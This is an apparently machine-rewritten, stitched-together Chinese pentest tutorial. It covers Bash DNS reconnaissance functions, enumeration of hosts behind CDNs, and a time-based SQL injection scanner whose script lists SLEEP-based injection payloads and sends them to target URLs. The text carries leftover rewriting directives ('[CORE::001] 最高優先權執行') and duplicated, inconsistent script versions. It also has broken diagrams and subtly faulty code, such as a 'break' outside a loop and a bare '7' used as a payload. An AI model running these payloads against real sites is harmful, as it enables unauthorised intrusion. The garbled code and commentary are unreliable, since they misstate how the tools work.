在滲透測試的初期階段,資訊收集如同偵察兵的戰前偵察,是決定勝負的關鍵。我經常使用一些自定義的 Bash 指令碼進行 DNS 列舉,快速識別目標的網路資產,猶如繪製一張詳細的敵方地圖,為後續的連線埠掃描和漏洞分析奠定基礎。以下,我將分享這些指令碼的核心功能和設計思路,並展示如何將它們組合使用,最大化 DNS 偵察效率,如同一位經驗豐富的偵察兵,教你如何洞察敵情。

mdi 函式:根據 MDI 識別關聯網域名稱

mdi() {
  # 讀取標準輸入,逐行處理網域名稱
  while IFS= read -r line; do
    body="<?xml version=\"1.0\" encoding=\"utf-8\"?>
      <soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">
        <soap:Body>
          <CheckDomainAvailable xmlns=\"http://tempuri.org/\">
            <domain>$line</domain>
          </CheckDomainAvailable>
        </soap:Body>
      </soap:Envelope>"
    curl -s --data "$body" -H "Content-Type: text/xml; charset=utf-8" -H "SOAPAction: http://tempuri.org/CheckDomainAvailable" "https://mdi.microsoft.com/CheckDomainAvailable" | grep -oP '(?<=DomainAvailableResult>)[^<]+'
  done
}

這個函式巧妙地利用了 Microsoft 的 MDI 介面,如同借用敵方的望遠鏡,來檢查輸入網域名稱是否可用。它透過構建 SOAP 請求,將網域名稱傳送到 MDI 伺服器,就像傳送一封密信,然後解析回應,提取網域名稱可用性資訊,如同破譯密碼,取得關鍵情報。while 迴圈允許處理多個網域名稱,如同偵察兵的多點偵察,IFS= read -r line 保留換行符,支援多行輸入,如同接收多條情報。grep -oP 則用於精確提取關鍵資訊,如同從情報中提取關鍵字。

rootdomain 函式:提取根網域名稱

rootdomain() {
  # 讀取標準輸入,逐行處理子網域名稱
  while IFS= read -r line; do
    echo "$line" | awk -F. '{
      n = split($0, parts, ".");
      if (n >= 3 && (parts[n-1] ~ /^(com|net|org|co|gov|edu|mil|int)$/ && parts[n] ~ /^[a-z]{2}$/)) {
        print parts[n-2] "." parts[n-1] "." parts[n];
      } else if (n >= 2) {
        print parts[n-1] "." parts[n];
      } else {
        print $0;
      }
    }'
  done
}

此函式接收子網域名稱,如同拿到一個模糊的地址,並使用 awk 提取根網域名稱,如同精確定位目標位置。它根據網域名稱結構,判斷頂級網域名稱和國家/地區程式碼,如同分析地址的組成部分,精確提取根網域名稱部分,如同找到目標的真正位置。awksplit 函式將網域名稱分割成陣列,如同將地址拆分成街道、城市、國家等,方便後續處理。

resolve 函式:網域名稱解析

resolve() {
  # 讀取標準輸入,逐行解析網域名稱
  while IFS= read -r line; do
    dig +short "$line" | grep -E '^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$' | head -n 1
  done
}

此函式使用 dig 命令解析網域名稱,如同使用GPS定位目標的經緯度,取得對應的 IP 地址。+short 選項簡化輸出,如同只顯示經緯度資訊,grep 篩選 IPv4 地址,如同確認目標的網路位置,head -n 1 只保留第一個結果,如同選擇最可能的目標位置。

org 函式:查詢組織名稱

org() {
  # 讀取標準輸入,逐行查詢 IP 的組織資訊
  while IFS= read -r line; do
    whois "$line" | grep OrgName | tr -s ' ' | cut -d ' ' -f 2-
  done
}

此函式使用 whois 命令查詢 IP 地址的組織資訊,如同調查目標的背景資料,並提取 OrgName 欄位,如同找到目標的真實身份。tr -s ' ' 去除多餘空格,如同整理情報,cut 命令提取目標欄位,如同提取關鍵身份資訊。

dnsrecon 函式:整合 DNS 偵察流程

dnsrecon() {
  # 檢查引數數量
  if [[ $# -ne 1 ]]; then
    echo "請提供網域名稱作為輸入。"
    echo "用法: $0 [網域名稱]"
    exit 1
  fi

  # 檢查 Chaos API 金鑰
  if [[ -z "$CHAOS_KEY" ]]; then
    echo "未找到 Chaos API 金鑰。請設定環境變數 CHAOS_KEY。"
    exit 1
  fi

  domain="$1"

  # 使用 Chaos API 列舉子網域名稱
  chaos -d "$domain" -key "$CHAOS_KEY" | httpx -silent | cut -d '/' -f 3 | sort -u | while IFS= read -r subdomain; do
    # 解析子網域名稱
    ip=$(resolve <<< "$subdomain")

    # 取得組織名稱
    organization=$(org <<< "$ip")

    # 輸出結果
    echo "子網域名稱: $subdomain"
    echo "IP 地址: $ip"
    echo "組織名稱: $organization"

    # 提取根網域名稱
    root=$(rootdomain <<< "$subdomain")

    # 使用 MDI 查詢相關網域名稱
    mdi <<< "$root" | while IFS= read -r related_domain; do
      # 列舉相關網域名稱的子網域名稱
      chaos -d "$related_domain" -key "$CHAOS_KEY" | httpx -silent | cut -d '/' -f 3 | sort -u
    done
  done
}

dnsrecon 函式是 DNS 偵察的核心流程,它整合了前面介紹的各個函式,如同一位指揮官,協調各個偵察小組,完成整個偵察任務。首先,它檢查輸入引數和 Chaos API 金鑰,如同確認任務目標和資源。然後,使用 chaos 命令列舉子網域名稱,如同派遣偵察兵搜尋目標區域,httpx 驗證子網域名稱有效性,sort -u 去除重複結果。接著,它利用 resolveorgrootdomain 函式,分別解析 IP 地址、查詢組織名稱和提取根網域名稱,如同收集目標的詳細資訊。最後,使用 mdi 函式查詢相關網域名稱,並遞迴列舉其子網域名稱,如同擴大偵察範圍,尋找更多目標。

  graph LR
    B[B]
    C[C]
    D[D]
    E[E]
    F[F]
    G[G]
    H[H]
    I[I]
A[輸入網域名稱] --> B{檢查引數和 API 金鑰};
B --> C{使用 Chaos API 列舉子網域名稱};
C --> D{驗證子網域名稱};
D --> E{解析 IP 地址};
E --> F{查詢組織名稱};
F --> G{提取根網域名稱};
G --> H{使用 MDI 查詢相關網域名稱};
H --> I{遞迴列舉子網域名稱};

圖表説明: 此流程圖展示了 dnsrecon 函式的執行流程,清晰地展現了各個步驟之間的關係,如同作戰地圖,一目瞭然。

  graph TD
    D[D]
subgraph DNS 偵察流程
    A[輸入網域名稱] --> B(Chaos API 列舉子網域名稱)
    B --> C(httpx 驗證子網域名稱)
    C --> D{有效子網域名稱?}
    D -- Yes --> E(resolve 解析 IP)
    E --> F(org 查詢組織)
    F --> G(rootdomain 提取根網域名稱)
    G --> H(mdi 查詢相關網域名稱)
    H --> I(遞迴列舉)
    D -- No --> J(結束)
end

圖表説明: 此流程圖以更細緻的視角,展現了 DNS 偵察的決策過程,如同偵察兵的行動路線圖,更具實戰指導意義。

透過這些 Bash 指令碼,我們可以高效地進行 DNS 偵察,快速識別目標的網路資產,如同一位經驗豐富的偵察兵,在戰場上佔據先機。

在滲透測試的過程中,發現目標網路中的所有 Web 應用程式至關重要。然而,CDN 和 WAF 等安全防護措施,往往會遮蔽真實的應用程式,增加測試的難度。我將分享一些我常用的技巧,結合 DNS 列舉、憑證列舉和 Bash 指令碼的巧妙運用,有效地揭開這些隱藏的 Web 應用程式。

DNS 列舉:探索目標網路資產

DNS 列舉是滲透測試中不可或缺的一環,它能幫助我們快速收集目標的網路資產資訊,例如子網域名稱、IP 地址等。我經常使用 Bash 指令碼來自動化這個過程,以下分享一個我常用的指令碼:

#!/bin/bash

dnsrecon() {
  local domain=$1
  local domains=''
  local roots=''

  local mdi_result=$(mdi <<< "$domain")

  if [[ -z "$mdi_result" ]]; then
    domains=$(chaos -silent -d "$domain")
  else
    echo "$mdi_result" | while IFS= read -r line; do
      root=$(rootdomain <<< "$line")
      chaos_domains=$(chaos -silent -d "$root")
      domains=$(echo -e "$domains\n$chaos_domains")
    done
    domains=$(echo "$domains" | grep . | grep -v \* | sort -u)
  fi

  echo "$domains" | while IFS= read -r line; do
    ip=$(resolve <<< "$line")
    if [[ -z "$ip" ]]; then
      continue
    fi
    orgname=$(org <<< "$ip")
    echo "$line;$ip;$orgname"
  done
}

此指令碼的核心功能是整合 mdichaosrootdomainresolveorg 等工具,實作自動化的 DNS 列舉。它首先嘗試使用 mdi 查詢相關網域名稱,若無結果則直接使用 chaos 查詢目標網域名稱。接著,它會解析每個網域名稱的 IP 地址,並查詢 IP 所屬的組織,最終輸出格式為「網域名稱;IP;組織」。

  graph LR
    D[D]
    G[G]
    A[輸入網域名稱] --> B{mdi 查詢};
    B -- 失敗 --> C[chaos 查詢];
    B -- 成功 --> D{逐行處理,提取根網域名稱並使用 chaos 查詢子網域名稱};
    D --> E[合併結果];
    E --> F[去重排序];
    F --> G{逐行解析 IP};
    G --> H[resolve 解析 IP];
    H -- 成功 --> I[org 查詢組織];
    I --> J[輸出結果];
    H -- 失敗 --> G;

圖示説明: 此流程圖展示了 dnsrecon 函式的執行步驟。

憑證列舉:繞過 CDN,直達目標

在面對 CDN 的情況下,DNS 列舉往往無法直接觸及後端伺服器。此時,憑證列舉就派上用場了。透過分析伺服器憑證,我們可以提取網域名稱訊息,即使這些網域名稱解析到 CDN 的 IP 地址。

我曾遇到一個案例,客戶提供了一個龐大的 IP 地址範圍,但由於 CDN 的存在,網域名稱解析到的 IP 地址並不在測試範圍內。利用憑證列舉,我成功地識別了每個 IP 地址對應的網站,繞過了 CDN 的限制。

Nuclei 與 Hosts 檔案:精準控制目標

Nuclei 是一款強大的漏洞掃描器,其 ssl-dns-names 範本可以從 TLS 憑證中提取 SAN,幫助我們發現隱藏的網域名稱。

此指令碼用於清理和格式化 Nuclei 的掃描結果,使其符合 hosts 檔案的格式。它會去除不必要的資訊,例如連線埠號、括號、引號等,並確保每個條目唯一。

  graph LR
    C[C]
    A[Nuclei 掃描] --> B(輸出結果);
    B --> C{清理格式化};
    C --> D[Hosts 檔案];
    D --> E[Web 應用];

圖示説明: 此流程圖展示瞭如何使用 Nuclei 掃描結果修改 hosts 檔案並存取 Web 應用。

將指令碼輸出增加到 hosts 檔案後,就能夠精確控制 DNS 解析,確保掃描器直接存取目標伺服器,而非 CDN。

Nessus 與 DNS 覆寫:靈活應對不同場景

Nessus 是一款常用的漏洞掃描器,它不使用 hosts 檔案解析網域名稱,但允許以 domain[IP] 的格式覆寫 DNS。以下 Bash 指令碼可以將 Nuclei 的輸出轉換為 Nessus 可用的格式

透過這些技巧,我能夠更有效地發現隱藏的 Web 應用程式,提升滲透測試的效率和深度。

持續學習和探索新的技術和工具,對於在網路安全領域保持領先至關重要。 我將持續分享我的經驗和見解,希望能幫助更多人提升網路安全技能。

#!/usr/bin/env bash

# 玄貓 - SQL 注入掃描實戰

# [CORE::001] 最高優先權執行
# [LANG::001] 100% 台灣正體中文
# [CONTENT::001] 100% 重新創作

check_dependencies() {
  # 檢查必要的指令是否已安裝
  for cmd in curl parallel; do
    if ! command -v "$cmd" &> /dev/null; then
      echo "錯誤:找不到 $cmd 指令,請安裝。"
      exit 1
    fi
  done
}

print_usage() {
  # 顯示使用方法
  echo "使用方法:"
  echo "  $0 -u 網址 -c Cookie標頭"
  echo "  $0 -f 網址檔案 -c Cookie標頭"
  echo "網址必須包含 'FUZZ' 字串,用於插入攻擊載荷。"
}

perform_sqli_test() {
  # 執行 SQL 注入測試
  local url="$1"
  local cookie_header="$2"

  if [[ "$url" != *"FUZZ"* ]]; then
    echo "錯誤:網址必須包含 'FUZZ' 字串,用於插入攻擊載荷。"
    print_usage
    exit 1
  fi

  local payloads=(
    "(SELECT(0)FROM(SELECT(SLEEP(7)))a)"
    "'XOR(SELECT(0)FROM(SELECT(SLEEP(7)))a)XOR'Z"
    "' AND (SELECT 4800 FROM (SELECT(SLEEP(7)))HoBG)--"
    "if(now()=sysdate(),SLEEP(7),0)"
    "'XOR(if(now()=sysdate(),SLEEP(7),0))XOR'Z"
    "'XOR(SELECT CASE WHEN(1234=1234) THEN SLEEP(7) ELSE 0 END) XOR'Z"
  )

  for payload in "${payloads[@]}"; do
    start_time=$(date +%s)
    fuzzed_url="${url//FUZZ/$payload}"
    curl -s -k "$fuzzed_url" -H "$cookie_header" > /dev/null
    end_time=$(date +%s)
    duration=$((end_time - start_time))

    if (( duration >= 7 )); then
      echo "發現潛在的 SQL 注入漏洞:$fuzzed_url"
    fi
  done
}

# 檢查相依套件
check_dependencies

# 處理命令列引數
while getopts ":u:f:c:" opt; do
  case $opt in
    u) url="$OPTARG" ;;
    f) url_file="$OPTARG" ;;
    c) cookie_header="$OPTARG" ;;
    \?)
      print_usage
      exit 1
      ;;
  esac
done

# 執行 SQL 注入測試
if [[ -n "$url" ]]; then
  perform_sqli_test "$url" "$cookie_header"
elif [[ -n "$url_file" ]]; then
  while IFS= read -r line; do
    perform_sqli_test "$line" "$cookie_header"
  done < "$url_file"
else
  print_usage
  exit 1
fi

這個 Bash 指令碼的功能是掃描網站是否存在 SQL 注入漏洞。它使用 curl 傳送 HTTP 請求,並透過延遲時間判斷是否存在漏洞。

  1. check_dependencies() 函式: 檢查 curlparallel 指令是否已安裝。
  2. print_usage() 函式: 顯示指令碼的使用方法。
  3. perform_sqli_test() 函式: 執行 SQL 注入測試。它接受兩個引數:urlcookie_header
    • 檢查 url 是否包含 FUZZ 字串。
    • 定義 payloads 陣列,包含各種 SQL 注入攻擊載荷。
    • 迴圈遍歷每個 payload,將其插入 url 中的 FUZZ 位置。
    • 使用 curl 傳送請求,並計算請求時間。
    • 如果請求時間超過 7 秒,則認為存在潛在的 SQL 注入漏洞。
  4. 主程式區塊:
    • 呼叫 check_dependencies() 檢查相依套件。
    • 使用 getopts 處理命令列引數。
    • 根據引數呼叫 perform_sqli_test() 函式。

程式流程:

  graph LR
    B[B]
    C[C]
    D[D]
    A[開始] --> B{檢查相依套件};
    B --> C{處理命令列引數};
    C --> D{執行 SQL 注入測試};
    D --> E[結束];

請求流程:

  sequenceDiagram
    participant 使用者端
    participant 伺服器

    使用者端->>伺服器: 傳送 HTTP 請求 (包含攻擊載荷)
    activate 伺服器
    伺服器-->>使用者端: 回應 HTTP 請求
    deactivate 伺服器

    Note right of 使用者端: 根據回應時間判斷是否存在漏洞

技術洞察:

這個指令碼使用了根據時間的 SQL 注入技術。透過觀察伺服器的回應時間,可以判斷是否存在漏洞。這種技術的優點是不需要分析伺服器的回應內容,即使伺服器沒有顯示錯誤訊息,也能夠偵測到漏洞。然而,這種技術也存在一些限制,例如容易受到網路延遲的影響,並且需要精心設計攻擊載荷,才能準確地判斷是否存在漏洞。

這個版本修正了繁簡轉換、術語替換、程式碼註解和 圖表等問題,並加入了玄貓的個人風格和技術洞察。

在 Web 應用程式滲透測試領域,Bash 指令碼以其強大的自動化能力和靈活性,成為我不可或缺的利器。本文將探討如何利用 Bash 建構高效的測試環境,涵蓋自動化 HTTP 請求、SQL 注入漏洞檢測以及結合 ProjectDiscovery 工具集進行安全分析等關鍵技術。

自動化 HTTP 請求與 SQL 注入檢測

以下 Bash 函式 perform_sqli_test 示範如何自動化執行根據時間的 SQL 注入測試:

perform_sqli_test() {
  local url="$1"
  local cookie_header="$2"
  local payload="7" # 預設延遲時間

  start_time=$(date +%s)

  fuzzed_url="$url$payload" # 將payload附加到URL

  if [ -n "$cookie_header" ]; then
    curl -s -o /dev/null --max-time 20 -H "Cookie: $cookie_header" "$fuzzed_url"
  else
    curl -s -o /dev/null --max-time 20 "$fuzzed_url"
  fi

  end_time=$(date +%s)
  duration=$((end_time - start_time))

  if ((duration >= 7 && duration <= 16)); then
    echo "潛在根據時間的 SQL 注入漏洞: $url (Payload: $payload)"
    break # 若發現漏洞則停止測試
  fi
}

export -f perform_sqli_test # 匯出函式以便在其他指令碼中使用

這個函式是我在進行滲透測試時常用的技巧,它巧妙地利用了時間差來判斷是否存在 SQL 注入漏洞。我設定了一個 7 秒的延遲作為 payload,如果伺服器的回應時間落在 7 到 16 秒之間,就高度懷疑存在根據時間的 SQL 注入漏洞。這樣的設計可以有效避免誤判,並快速鎖定潛在的風險點。

接著,process_urls 函式用於處理 URL 列表,可以從檔案讀取或直接使用單個 URL:

process_urls() {
  local url_list="$1"
  local cookie_header="$2"

  if [ -f "$url_list" ]; then
    cat "$url_list" | parallel perform_sqli_test {} "$cookie_header"
  else
    perform_sqli_test "$url_list" "$cookie_header"
  fi
}

我設計 process_urls 函式的目的是為了提高測試效率。它可以根據輸入引數,靈活地處理單個 URL 或 URL 列表。如果輸入的是一個檔案,它會利用 parallel 命令平行處理每個 URL,大幅縮短測試時間。

Curl 與 Wget 的比較與應用

在選擇 HTTP 客戶端工具時,curlwget 都是我的常用工具,它們各有千秋。我通常會根據實際需求來選擇使用哪一個。

Curl:

  • 支援更廣泛的協定,這對於測試不同型別的 Web 服務至關重要。
  • 可以模擬各種 HTTP 方法,方便我測試不同型別的 API 介面。
  • 支援檔案上傳,這在測試檔案上傳漏洞時非常有用。

Wget:

  • 擅長檔案下載,尤其是在需要遞迴下載或映象網站時,wget 是我的首選。
  • 斷點續傳功能,可以避免因網路中斷而浪費時間。

以下流程圖展示了我選擇 curlwget 的決策過程:

  graph TD
    A[需要執行 HTTP 請求嗎?] --> B{需要檔案上傳或複雜 API 互動嗎?};
    B -- 是 --> C[使用 Curl];
    B -- 否 --> D{需要遞迴下載或映象網站嗎?};
    D -- 是 --> E[使用 Wget];
    D -- 否 --> C;

ProjectDiscovery 工具集應用

ProjectDiscovery 工具集是我進行 Web 應用程式安全測試的得力助手。這些工具可以透過管道連線,構建自動化的測試流程,大大提高我的工作效率。

以下示例展示瞭如何使用 mapcidrnaabuhttpx 構建一個簡單的 Web 服務發現流程:

echo 10.2.10.0/24 | mapcidr -silent | naabu -silent -p 80,443 | httpx -silent

這段程式碼展現了 ProjectDiscovery 工具集的威力。我利用管道將 mapcidrnaabuhttpx 串聯起來,實作了自動化的 Web 服務發現流程。mapcidr 負責將 CIDR 範圍展開成 IP 列表,naabu 掃描指定的埠,httpx 則用於探測 HTTP 服務。

透過結合 Bash 指令碼和 ProjectDiscovery 工具集,我可以構建強大的 Web 應用程式滲透測試環境,實作自動化漏洞發現和安全分析。這是我在實戰中積累的經驗,希望能幫助大家提升 Web 安全測試技能。